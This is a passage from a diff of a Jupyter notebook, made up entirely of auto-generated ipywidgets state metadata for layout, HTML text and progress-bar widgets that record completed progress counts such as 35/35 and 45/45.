"LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a548fd49eb4a451386b340a677f93073": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_3394e6e9924e4f2bb791976994169806", + "placeholder": "​", + "style": "IPY_MODEL_81b7286bea0841e6b54dba275f5c71b5", + "value": "100%" + } + }, + "a654808c82cc4672a19728ac22f26e5e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a83bca5872324f19a6a024c536141795": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_70b8ac7c48d14a08b0d0eb840d37d410", + "max": 35, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_650ea058ba304da9b8febd6a72e10260", + "value": 35 + } + }, + "a9651ab87eae4180a9729b7e28f11376": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "acc1e1e48c2b4c0a8c765978c5211c4a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_fff5255694d74756a08b556c51affbd9", + "max": 5, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_890360c4bd374d74943cb359ba838ab7", + "value": 5 + } + }, + "af2c00007cd34322be1faf9aa4925e2d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "af74c20beba94d84b5cf97818b6bd191": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "b168918d31b34653897402751e9bbecc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_ed9bd4313a1a477a820abec0b6f911f6", + "IPY_MODEL_889529d86c064f73844e8074765f2cf0", + "IPY_MODEL_95ebc05ee7f640af86a54aadcd40ddbe" + ], + "layout": "IPY_MODEL_a654808c82cc4672a19728ac22f26e5e" + } + }, + "b274cfa1678e49938e163e2d17d7f179": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "b2a6584f8d6f4c2ab221f8f90a1a560a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "b3c65e0ad46a4fdcb639e3c98983f1b7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b3dba2bfc0c9401a908c7a25a8fbe952": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "b6001677e22a4bf1b3565b55bebf0be1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b86219c801bb4d2e8395ce17518fa432": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_96aed170045943a28f42d6b825c66cf3", + "placeholder": "​", + "style": "IPY_MODEL_2cc5cba3a49842fab50519d9968a4e53", + "value": " 5/5 [00:02<00:00, 2.75it/s]" + } + }, + "bb79f73fb99f4d5885400f7f69c8edcc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "bf5ffbefc35449659cc9aae956e9a292": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7d60b538a6e248369d2df053e9548a14", + "placeholder": "​", + "style": "IPY_MODEL_a2bc87dd43e14ee0abba026d57cb349f", + "value": " 35/35 [00:12<00:00, 3.00it/s]" + } + }, + "c2bf3e4561894b4f98047c14c8c6fcaf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_91cb9127553d41719924473661d25b51", + "max": 45, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_040ee5bc127a48a3b3a8727aefac4ae8", + "value": 45 + } + }, + "c33aa07ac5a741adbef140e57b9702e2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_3b4ca1a9965f4aeabff645cc5d6aa92e", + "IPY_MODEL_71d6d4c2b61d4739ae78f77f4bababc3", + "IPY_MODEL_80e10875f83e4889ad1840255ef9c49d" + ], + "layout": "IPY_MODEL_e7da8d3d63f740968550b2852880ccc1" + } + }, + "c9ca13d641734c4e956555fcbfe2156a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "cd0e13f6e6dc444c80f7464747846e21": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "cdcc3550ed8340ebb2e8f0f903500c9c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_42b12e19632c48e8809ccc1dfde61417", + "IPY_MODEL_acc1e1e48c2b4c0a8c765978c5211c4a", + "IPY_MODEL_b86219c801bb4d2e8395ce17518fa432" + ], + "layout": "IPY_MODEL_3ff6eda7d146478880b0d26670caa23c" + } + }, + "cef46b7bd56547bd87478e9c3eaa2aa7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "d75aad33f36b432c8175e076ce4cc99e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d97e3dc3965247c3b5f19925e1a481f2": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "db69c9d0fd214da8b42b854d71b87f54": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5e4d7e7e89cf4b8e9cab8d34d88d662e", + "max": 35, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_5066ac8781ec4f00b27ec6be27eb8506", + "value": 35 + } + }, + "e7da8d3d63f740968550b2852880ccc1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e9454ab1e9034e908b84be5c6bf6f069": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7f58a5010d77407ca459b1d7209e9280", + "placeholder": "​", + "style": "IPY_MODEL_af2c00007cd34322be1faf9aa4925e2d", + "value": "100%" + } + }, + "e9797440d4904681b6d32ba13e38cf69": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_23e3dc5b455d445a957cf44e6c913b30", + "placeholder": "​", + "style": "IPY_MODEL_fd80da5cf56c463ca277dafa9792c922", + "value": "100%" + } + }, + "e9de6d1bfc2541fbaf1c5315be405904": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b6001677e22a4bf1b3565b55bebf0be1", + "placeholder": "​", + "style": "IPY_MODEL_b3dba2bfc0c9401a908c7a25a8fbe952", + "value": " 45/45 [00:15<00:00, 3.06it/s]" + } + }, + "eb34aef46c21431bbca887976b630a88": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ed5435b53cb646d080918c6720e222bd": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ed9bd4313a1a477a820abec0b6f911f6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f228ea9baedf457985c032deab6b96df", + "placeholder": "​", + "style": "IPY_MODEL_665e483725974558b1712ef1fa235a7d", + "value": "100%" + } + }, + "f037d2a0f68e4647ab8d1e3c278aac8f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f50555e1470b4a8e95ea430871af77cf", + "placeholder": "​", + "style": "IPY_MODEL_9f6a32585a514034975b71b2954b639f", + "value": "100%" + } + }, + "f228ea9baedf457985c032deab6b96df": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f3d5fc14999740b2bb7e4c21d1413b37": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f50555e1470b4a8e95ea430871af77cf": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f7214d3edc9c4b38af73090d49d89ddf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_0e19b13015304e75abe29a63bd8a9052", + "IPY_MODEL_c2bf3e4561894b4f98047c14c8c6fcaf", + "IPY_MODEL_3758340ddeb543a9854df0e5502725eb" + ], + "layout": "IPY_MODEL_eb34aef46c21431bbca887976b630a88" + } + }, + "f8ed4f4a78df426aa227ef4e1dda7063": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_40b3e69446974dccb4675c68b6b3db6e", + "placeholder": "​", + "style": "IPY_MODEL_66ec2664ae9049548c50a0729a79b3bc", + "value": " 35/35 [00:11<00:00, 3.08it/s]" + } + }, + "fd80da5cf56c463ca277dafa9792c922": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "fd926a30faed41618593cdb01204d0cc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4c55892c8dd3450a9904bce9e9b80057", + "max": 50, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_02dae045c1e7433cbdd872206d35e2f4", + "value": 50 + } + }, + "fe00c60d6a684ade8f1faf85cd0a825e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + 